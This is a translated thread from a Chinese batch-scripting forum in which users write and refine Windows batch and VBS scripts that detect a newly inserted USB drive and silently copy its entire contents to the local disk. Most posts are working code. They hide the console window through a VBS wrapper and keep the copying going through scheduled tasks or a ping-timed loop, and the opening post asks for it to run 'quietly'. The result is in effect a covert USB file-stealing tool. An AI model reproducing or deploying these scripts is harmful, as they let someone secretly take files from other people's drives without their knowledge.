中国DOS联盟论坛

China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --
Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
Guest | Log in | Register | Members | Search | China DOS Union
中国DOS联盟论坛
The time now is 2026-09-14 13:35
47,812 topics / 349,917 posts / today 0 new / 48,268 members
DOS批处理 & 脚本技术(批处理室) » How to judge that a USB flash drive has been inserted and automatically copy all the contents
Printable Version  16,572 / 40
Floor1 gene771771 Posted 2006-11-29 13:29
初级用户 Posts 77 Credits 105 From 重庆
There is a fairy asking me to write a batch script. First, judge whether the USB flash drive is inserted. If inserted, automatically COPY all contents to the hard disk, and also be quiet... I thought left and right, but still couldn't figure it out, so I come here to ask all great immortals for advice~~~
Thank you!!!
It's best to be able to常驻内存 and automatically judge. Third-party software can be used, such as SLEEP, choice, etc....


The latest version is (being updated):
16th floor http://www.cn-dos.net/forum/viewthread.php?tid=25190&fpage=1&highlight=&page=2


[ Last edited by gene771771 on 2006-11-30 at 01:51 AM ]
Floor2 tianzizhi Posted 2006-11-29 22:53
高级用户 Posts 214 Credits 623
Determine drive type:
for %%i in (c d e f g h i j k) do@fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "removable drive" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "removable drive" d:\t.txt') do@set yidong=%%i
copy %yidong%\*.* d:\ /y
Save as g.bat
Then execute a command on the machine to execute g.bat every some time
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr g.bat
Where 2 means execute every two minutes.
You can modify others. Not tested
Floor3 9527 Posted 2006-11-29 23:46
银牌会员 Posts 438 Credits 1,185 From 北京
In fact, using BAT as the building block as the landlord said, the effect is not the best, because there will definitely be a window when running, so the purpose of hiding cannot be achieved, so I have nothing to say
Floor4 tianzizhi Posted 2006-11-30 01:23
高级用户 Posts 214 Credits 623
Improve it again:
Just call a VBS once to hide.

for %%i in (c d e f g h i j k) do @fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "removable drive" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "removable drive" d:\t.txt') do @set yidong=%%i
copy %yidong%\*.* d:\ /y
del d:\t.txt
Save as g.bat
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "d:\g.bat",0
Save as b.vbs
Run it again
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr d:\b.vbs
Done.

[ Last edited by tianzizhi on 2006-11-30 at 01:27 AM ]
Floor5 tao0610 Posted 2006-11-30 07:06
高级用户 Posts 218 Credits 579
The services for scheduled tasks are generally turned off, and INF is more practical...
Floor6 tianzizhi Posted 2006-11-30 08:22
高级用户 Posts 214 Credits 623
Most of the scheduled services are enabled by default, not disabled. I haven't seen a case where the schedule is disabled after reinstalling the system. Also, for assembly language, how many people can use it? Our requirement is generality, everyone can use it, as simple as possible, and try not to use third-party software if possible.
Floor7 tao0610 Posted 2006-11-30 08:34
高级用户 Posts 218 Credits 579
Many system optimizations turn off the scheduled tasks, and now there are not many people installing original version systems.
inf refers to INF files.
Floor8 gene771771 Posted 2006-11-30 09:06
初级用户 Posts 77 Credits 105 From 重庆
How to achieve it through INF?
Floor9 gene771771 Posted 2006-11-30 10:37
初级用户 Posts 77 Credits 105 From 重庆
First of all, I would like to express my gratitude to tianzizhi for providing the source code.

Now I am posting the modified code.

The current problem is how to enable that strategy, as it is disabled by default.

Or is there any expert with other solutions???

First file: U disk automatic copy.cmd

@echo off
color 17
:start
cls
title $$$$*Han*Han*Manufacture*$$$$
echo.
echo.
echo.
echo ==============================================================
echo.
echo U disk automatic copy program
echo.
echo Welcome to use, please select an option (1, 2, 3, 4, 5, 6)
echo.
echo [1] Run the program
echo [2] Close the program
echo [3] Install the program
echo [4] Uninstall the program
echo [5] Usage help
echo [6] Press X to close
echo.
echo.
echo.
echo ==============================================================
echo.
set /p choice=Please enter:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================Install the program=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================Hide the window=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>%temp%\hide.vbs
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo Installation is successfully completed!
pause >nul 2>nul
goto start
rem ==============================Installation ends=============================


:uninstall
rem ==============================Uninstall the program=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo The program has been successfully uninstalled!
pause >nul 2>nul
goto start
rem ==============================Uninstallation ends=============================


:open
rem ==============================Run the program=============================
echo.
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr %temp%\hide.vbs
echo The program has been successfully started to run automatically (scanned once every 2 minutes)!
pause >nul 2>nul
goto start
rem ==============================Running ends=============================



:close
rem ==============================Terminate the program=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f
echo The program has been successfully ended the automatic run!
pause >nul 2>nul
goto start
rem ==============================Termination ends=============================



:help
rem ==============================Usage help=============================
cls
echo.
echo.
echo.
echo.
echo.
echo This tool is applicable to XPsp2 system, and I will not be responsible for any losses caused by this.
echo.
echo Usage method: 1 Click to install the program
echo 2 Click to run the program, the program will automatically execute once every 2 minutes
echo 3 Please be sure to confirm that your U disk to be copied is virus-free
echo 4 If your computer has antivirus software installed, the VBS code may not be usable
echo 5 If it cannot be copied automatically, please click COPY.cmd manually each time
echo 6 Please clean up the files in c:\copy in time
echo 7 Please ensure that there is enough space on your c:\, and it is not recommended to insert a mobile hard drive when the program is running
echo.
echo This software is a free software, welcome everyone to use
echo Press any key to return to the main menu
pause >nul
goto start
rem ==============================Help ends=============================


:shut
rem ==============================Close the program=============================
exit
rem ==============================Closure ends=============================



Second file: copy.cmd


@echo off
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "removable drive" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
echo No removable disk detected!
exit
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "removable drive" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
echo Has been copied, please clean up the files in time!
Floor10 tianzizhi Posted 2006-11-30 10:41
高级用户 Posts 214 Credits 623
Please let tao0610 write the program that can meet the owner's requirements using an inf file and show it to everyone. I also want to see and learn. Don't just talk but not do it.
Floor11 gene771771 Posted 2006-11-30 10:41
初级用户 Posts 77 Credits 105 From 重庆
[ Last edited by gene771771 on 2006-11-30 at 04:02 PM ]

Attachments
U盘自动复制.rar (1.56 KiB)
Floor12 tianzizhi Posted 2006-11-30 10:53
高级用户 Posts 214 Credits 623
The owner did a good job, encouraged! Keep it up!
Floor13 gene771771 Posted 2006-11-30 11:57
初级用户 Posts 77 Credits 105 From 重庆
The instructions are very clear. Just install it first. The default directory is C:\COPY.

It's simple to achieve automatic startup at boot, but due to the policy issue, there's currently no way to achieve automatic resident in memory without using third-party software. The file is still incomplete now. Wait for experts to improve it. Don't download it if you don't know how. Unless you want to test. Actually, that copy.cmd is usable, but it just can't automatically scan in a loop.
Floor14 gene771771 Posted 2006-11-30 13:00
初级用户 Posts 77 Credits 105 From 重庆
Post again to post the source code, this should be usable, everyone test it:

USB Auto Copy Install.cmd

@echo off
color 17
:start
cls
title $$$$*Han*Han*Made*$$$$
echo.
echo.
echo.
echo ==============================================================
echo.
echo USB Auto Copy Program
echo.
echo Welcome to use, please select option (1,2,3,4,5,6)
echo.
echo [1] Run Program
echo [2] Close Program
echo [3] Install Program
echo [4] Uninstall Program
echo [5] Usage Help
echo [6] Press X to Close
echo.
echo.
echo $$$ Made by Hanhan, Version 1.0 $$$
echo.
echo ==============================================================
echo.
set /p choice=Please enter:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================Install Program=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================Hide Window=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo Installation successful!
pause >nul 2>nul
goto start
rem ==============================End of Installation=============================


:uninstall
rem ==============================Uninstall Program=============================
echo.
if not exist %temp%\copy.cmd goto start
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo Program has been successfully uninstalled!
pause >nul 2>nul
goto start
rem ==============================End of Uninstallation=============================


:open
rem ==============================Run Program=============================
echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo Program has been successfully started to run automatically (scanning every 20 seconds)!
pause >nul 2>nul
goto start
rem ==============================End of Run=============================



:close
rem ==============================Terminate Program=============================
echo.
if not exist %temp%\copy.cmd goto start
tskill ping >nul 2>nul
echo Program has been successfully ended automatic run!
pause >nul 2>nul
tskill cmd
rem ==============================End of Termination=============================



:help
rem ==============================Usage Help=============================
cls
echo.
echo.
echo.
echo This tool is suitable for XPsp2 system, I am not responsible for any losses caused by this.
echo.
echo Usage: 1 Click Install Program
echo 2 Click Run Program, the program will automatically execute every 20 seconds
echo 3 Please be sure to confirm that your USB drive is virus-free
echo 4 If your computer has anti-virus software installed, the VBS code may not work
echo 5 If automatic COPY is not possible, please click COPY.cmd manually each time
echo 6 Please clean up the files in the default save directory c:\copy folder in time
echo 7 Please ensure that there is enough space on your c:\, it is recommended not to insert external hard drives when the program is running
echo 8 Since it uses PING to achieve timing scanning, it takes up more memory, please remember to close after use
echo 9 This software does not guarantee the correctness of copied data
echo 10 This software should not be used for illegal purposes
echo.
echo This software is free software, welcome everyone to use
echo Press any key to return to the main menu
pause >nul 2>nul
goto start
rem ==============================End of Help=============================


:shut
rem ==============================Close Program=============================
exit
rem ==============================End of Closure=============================



copy.cmd



@echo off
mode con: cols=14 lines=1
:again
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "Removable Drive" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem No removable disk detected!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "Removable Drive" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
rem Copied, please clean up files in time!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
Floor15 gene771771 Posted 2006-11-30 14:49
初级用户 Posts 77 Credits 105 From 重庆
There were originally two versions written, one using SLEEP and one using ping. The functions are the same. Now I have integrated the two, and it can be used normally without SLEEP!

For other situations, please refer to the instructions! Hope experts can modify and highlight it!

As usual, the source code is open, everyone can modify it, but try to keep the original author's information as much as possible. This is not only a respect for others' labor achievements but also a basic principle of being a human...


[ Last edited by gene771771 on 2006-11-30 at 03:35 PM ]

Attachments
U盘自动复制.rar (9.97 KiB)
1 2 3  Next
[ Contact the Union admin team - 中国DOS联盟 - Standard version ]
Sponsored by ifanr Inc | © 2001–2023